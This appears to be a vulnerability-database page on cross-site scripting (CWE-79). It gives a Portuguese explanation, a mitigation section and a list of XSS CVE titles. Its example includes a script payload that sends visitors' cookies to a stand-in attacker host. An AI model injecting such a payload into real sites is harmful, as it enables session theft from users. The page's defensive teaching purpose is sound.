Fallos del tipo CWE-79

30.223 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2019-18942MEDIUMStored cross site scriptingEPSS 0.3%CVE-2024-56510MEDIUMMarp Core allows XSS by improper neutralization of HTML sanitizationEPSS 0.3%CVE-2025-23798HIGHWordPress Mass Messaging in BuddyPress Plugin <= 2.2.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24732MEDIUMWordPress BookingPress Plugin <= 1.1.25 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-2578MEDIUMWordPress WP Coder plugin <= 3.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-2691MEDIUMWP Event Manager – Events Calendar, Registrations, Sell Tickets with WooCommerce <= 3.1.43 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'events' ShortcodeEPSS 0.3%CVE-2024-29108MEDIUMWordPress Happy Addons for Elementor plugin <= 3.10.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-56359HIGHCross-site Scripting vulnerability through HyperLink cells in grist-coreEPSS 0.3%CVE-2026-25154MEDIUMLocalSend has Stored XSS in Web Share Interface via FilenameEPSS 0.3%CVE-2024-30159MEDIUMA vulnerability in the web conferencing component of Mitel MiCollab through 9.7.1.110 could allow an authenticated attacker with administratEPSS 0.3%CVE-2025-27704MEDIUMThere is a cross-site scripting vulnerability in the Secure Access administrative console of Absolute Secure Access prior to version 13.53. EPSS 0.3%CVE-2025-27705MEDIUMThere is a cross-site scripting vulnerability in the Secure Access administrative console of Absolute Secure Access prior to version 13.53. EPSS 0.3%CVE-2026-100190MEDIUMStored Cross-Site Scripting (XSS) via Crawler Capture Import in AIL Framework showDomain PageEPSS 0.3%CVE-2024-12817MEDIUMEtsy Importer <= 1.4.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-56288MEDIUMWordPress WP Docs plugin <= 2.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-46082MEDIUMScriptcase v.9.10.023 and before is vulnerable to Cross Site Scripting (XSS) in nm_cor.php via the form and field parameters.EPSS 0.3%CVE-2026-9109HIGHGPTranslate <= 2.31 - Unauthenticated Stored Cross-Site Scripting via REST API Translation StorageEPSS 0.3%CVE-2024-54349MEDIUMWordPress Plain Post plugin <= 1.0.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-24834MEDIUMWordPress BEAR Plugin <= 1.1.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-45879MEDIUMThe file upload function in the "QWKalkulation" tool of baltic-it TOPqw Webportal v1.35.287.1 (fixed in version 1.35.291), in /Apps/TOPqw/QWEPSS 0.3%